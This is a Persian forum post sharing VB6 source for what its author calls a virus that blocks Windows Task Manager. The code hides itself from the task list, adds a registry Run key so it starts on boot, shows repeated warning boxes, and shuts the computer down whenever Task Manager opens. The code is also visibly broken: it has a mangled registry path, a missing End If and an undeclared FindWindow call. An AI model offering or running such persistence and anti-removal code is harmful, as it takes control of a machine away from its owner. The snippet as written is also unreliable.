جلوگیری از باز شدن Windows Task Manager
#1
Note 
وسایل لازم: فقط یه تایمر
[VB]
Private Sub Form_Load ()
App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCUR RENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub
[/VB]
توضیحات:
خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه؟ ممنون از دوستي كه ارسال كردن؟

آخرین ویرایش: 11-02-2014 ساعت 17:33، توسط Stack OverFlow
پاسخ
ایجاد موضوع جدید   پاسخ به موضوع  

موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
Note کد پنهان کردن برنامه از لیست پراسس های task manager SOFTAFZAR 1 735 14-08-2014 ساعت 20:32
آخرین ارسال: vc3000

کاربرانِ درحال بازدید از این موضوع:   1 مهمان